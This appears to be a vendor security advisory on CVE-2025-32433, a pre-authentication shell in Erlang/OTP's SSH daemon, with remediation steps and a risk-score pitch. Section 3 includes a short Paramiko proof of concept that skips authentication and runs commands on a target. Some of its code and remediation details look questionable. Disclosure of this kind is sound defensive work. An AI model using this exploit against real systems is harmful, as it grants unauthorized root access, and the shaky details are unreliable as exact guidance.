Skip to content
Go back

[CVE-2025-32433] Erlang/OTP SSH Authentication Bypass Gives Attackers a Direct Shell

Volerion Research

TL;DR
The SSH daemon that ships with Erlang/OTP versions prior to 27.3.3, 26.2.5.11 and 25.3.2.20 accepts a channel request before authentication has succeeded. A three-packet exploit opens a shell as the daemon user, which is often root on embedded devices. Proof-of-concept code is already public and CISA has added the bug to KEV with a 30 June deadline.


1. Summary

CVE ID CVE-2025-32433
Affected Product(s) Erlang/OTP 17.0 through 25.3.2.19, 26.0 through 26.2.5.10 and 27.0 through 27.3.2 when the builtin ssh_application is enabled
Volerion Risk Score 6.62 / 10
Exploit Status Public PoC available
CISA KEV Yes - remediation required by 2025-06-30

Unauthenticated attackers can upload or execute arbitrary commands using standard SSH channel messages. Because Erlang powers RabbitMQ, CouchDB, rebar3 build pipelines and a long list of network appliances, the vulnerability surfaces in places administrators do not usually expect.


2. Context - Why an Erlang bug matters outside the BEAM ecosystem

Erlang/OTP packages a fully featured SSH implementation so developers can expose remote REPLs and file transfer endpoints with minimal effort. The same library ships in compiled form inside:

These platforms inherit the bug because their maintainers rarely recompile Erlang between releases.


3. Technical Details - A race in the state machine

The SSH protocol described in RFC 4252 establishes a clear sequence:

  1. Transport layer handshake
  2. User authentication
  3. Channel open and request messages

The vulnerable code in otp/lib/ssh-*/src/ssh_connection.erl entered the authenticated state as soon as the client sent any SSH_MSG_USERAUTH_REQUEST, regardless of whether the server had replied with SSH_MSG_USERAUTH_SUCCESS. A malicious client can therefore:

1. Send a valid key exchange sequence.
2. Craft one fake USERAUTH_REQUEST for the nonexistent user "guest".
3. Immediately follow up with CHANNEL_OPEN and CHANNEL_REQUEST exec "sh -i".

Because the server’s state flag already flipped, it allocates the channel and spawns an OS shell under the account that launched the daemon (often root on embedded systems). The patch reorders two lines so that the flag is only set after the success packet is transmitted.

Proof-of-concept

The following Python snippet uses Paramiko but skips authentication completely:

import paramiko, time

t = paramiko.Transport(("target", 22))
t.start_client()
m = paramiko.Message()
m.add_byte(chr(paramiko.common.cMSG_USERAUTH_REQUEST))
m.add_string("guest")
m.add_string("ssh-connection")
m.add_string("none") # Auth method that always fails
t._send_message(m)

# Give the server time to transition state
time.sleep(0.5)             

chan = t.open_session() # Succeeds despite failed auth
chan.exec_command("id; uname -a")
print(chan.recv(1024).decode())

Running the code yields uid=0(root) on a vulnerable test appliance.


4. Impact - From missed logins to full box compromise

An SSH daemon usually runs with elevated privileges so it can switch uid after authentication. Triggering command execution before that drop happens gives attackers the highest privileges the service holds. On routers and storage appliances that embed Erlang, this level is root. In mixed-tenant Kubernetes clusters where RabbitMQ workers share nodes, an attacker pivoting through an exposed management network gains foothold to steal messages, credentials and possibly escape the container.


5. Remediation - What to do now

Upgrade to Erlang/OTP 27.3.3, 26.2.5.11 or 25.3.2.20. Packaged distributions from Homebrew, Debian unstable, Ubuntu PPA and Alpine edge already ship the fix. Cisco and NetApp have released hot-patch firmware for supported lines; older models require a manual Erlang rebuild.

If you need breathing room, disable the SSH daemon by removing {applications, [ssh]} from vm.args or firewall TCP 22 to trusted jump hosts only. There is no reliable IDS signature because the exploit traffic follows the RFC.


6. Timeline

Date (UTC)Milestone
2025-03-28Independent researcher reports bug to Erlang security team
2025-04-16 22:15CVE-2025-32433 publicly disclosed on oss-security and GitHub
2025-04-16 22:17Volerion completes enrichment and publishes risk score

7. References


About Volerion

Volerion delivers AI-driven enrichment minutes after a CVE goes live. A single call to our REST API returns CVSS 4.0 vectors, exploitability metrics and affected products complete with remediation. Additionally, we offer different scoring profiles, complete with insight into the eight comprehensive categories that make up the final score. Our API is also available in the tradditional NVD API 2.0 format, so integration is as simple as swapping hosts. Spend less time parsing CVEs and more time closing them.

How the Volerion Risk Score Fits With CVSS, EPSS and KEV

At the time of writing:

The Volerion Risk Score brings these signals together and layers them with additional factors such as affected product prevalence, exploit maturity and remediation effort. For CVE-2025-32433 the score is 6.62. That places it in our high-risk band even though it is lower than the raw CVSS 10.0, because we balance impact with real-world context gathered at publication time.


Share this post on:

Previous Post
[CVE-2025-46814] FastAPI Guard’s X-Forwarded-For Handling Lets Attackers Impersonate Trusted IPs
Next Post
[CVE-2025-11517] Free Tickets for Sale – How a Logic Error Skips Payment in WordPress Event Tickets